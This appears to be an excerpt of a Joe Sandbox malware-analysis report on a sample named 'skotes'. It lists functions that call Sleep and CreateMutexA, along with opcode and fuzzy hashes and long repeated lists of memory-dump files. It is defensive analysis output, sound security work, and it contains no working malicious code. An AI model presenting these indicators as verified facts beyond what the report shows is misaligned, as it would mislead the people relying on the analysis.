Opcode ID: 3571d88b569b1d15cfa4b3cd412a7d06b0890d4c1b1b26fd19d062a52080ca05
Instruction ID: 2bfcabf2752efcb7af264a26347760187f7708fd85aeca4590e6ba300f76fca8
Opcode Fuzzy Hash: 3571d88b569b1d15cfa4b3cd412a7d06b0890d4c1b1b26fd19d062a52080ca05
Instruction Fuzzy Hash: BF313B316041009BFF08BB78D8C9BBDBBE2DB85314F24469AE054973E5D7B59980C752

Function 00B8A54D Relevance: 3.1, APIs: 2, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 9bfdc29a3e983c518855a5fbde5c03a464b3a38ba7a438624ba96a393ac80eb1
Instruction ID: 0cea4c695777afba67a4cfd3c8db24c0d32ff09301953abb58cbdcf404d3e6a3
Opcode Fuzzy Hash: 9bfdc29a3e983c518855a5fbde5c03a464b3a38ba7a438624ba96a393ac80eb1
Instruction Fuzzy Hash: 69316A31A041049BFB08FB78DCC9BBDBBE2EB85314F24469AE0449B2E5C7759980C722

Function 00B8A682 Relevance: 3.1, APIs: 2, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 213f1bbd5794fcb51a60e09bf126375b22a5985f7c78107a0cc180b609ba0528
Instruction ID: a7877a615515387ce95f79df5d9e80f712523452bb963866391cae712134201f
Opcode Fuzzy Hash: 213f1bbd5794fcb51a60e09bf126375b22a5985f7c78107a0cc180b609ba0528
Instruction Fuzzy Hash: 65314A316041049BFB08FB78DCC97BEBBE2DB85310F24869AE054972E5D7759980C762

Function 00B89ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 17e8152fe9b8c809f29727778d0ccc0df4a4635da248bff5fdca0c957d5c84bd
Instruction ID: 9c1e007faa5263c941063f88c51b310cdb79cb7cc2f5482f2a8192d6cd6bc2c5
Opcode Fuzzy Hash: 17e8152fe9b8c809f29727778d0ccc0df4a4635da248bff5fdca0c957d5c84bd
Instruction Fuzzy Hash: A2213A316042009BFF18BB68DCC977DB7E2EBC1310F2446AAE448872E1DB75A980C752

Function 00B8A856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 09d3fa3d81fe6af289c31234d9f2f0415c617b3953c76c2a78e9aa7a1876f5ba
Instruction ID: 4381edd039196eb47adf01164579ad39a998adf2e2758ed732edbca63cca0632
Opcode Fuzzy Hash: 09d3fa3d81fe6af289c31234d9f2f0415c617b3953c76c2a78e9aa7a1876f5ba
Instruction Fuzzy Hash: 50212B716481019BFB2477A8989A77EB7D2DF81304F2408E7E148972F1DA759981C3A3

Function 00B8A34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 00B8A963
CreateMutexA.KERNELBASE(00000000,00000000,00BE3254), ref: 00B8A981

Memory Dump Source

Source File: 00000003.00000002.2212616596.0000000000B81000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000003.00000002.2212595295.0000000000B80000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212616596.0000000000BE2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212698575.0000000000BE9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212722785.0000000000BEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212748647.0000000000BF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212881177.0000000000D4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2212911404.0000000000D50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D62000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213010680.0000000000D70000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213058348.0000000000D73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213081792.0000000000D74000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213099332.0000000000D75000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213119970.0000000000D76000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213142325.0000000000D77000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213164561.0000000000D79000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213193073.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213214678.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213249882.0000000000D9F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213269198.0000000000DA1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213297921.0000000000DA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213322573.0000000000DB2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213347437.0000000000DBF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213369914.0000000000DC0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213394298.0000000000DC9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213420667.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213443978.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213467870.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213496984.0000000000DEE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213519853.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213542967.0000000000DF6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213565181.0000000000DFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213588695.0000000000E02000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213620092.0000000000E06000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213649557.0000000000E0E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213678014.0000000000E12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213705079.0000000000E1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213741370.0000000000E20000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213758244.0000000000E2D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213778827.0000000000E4D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213842451.0000000000E64000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213870900.0000000000E65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213897006.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213920919.0000000000E7C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213946530.0000000000E83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2213977085.0000000000E85000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214002671.0000000000E93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2214026456.0000000000E94000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_b80000_skotes.jbxd

Yara matches

Similarity

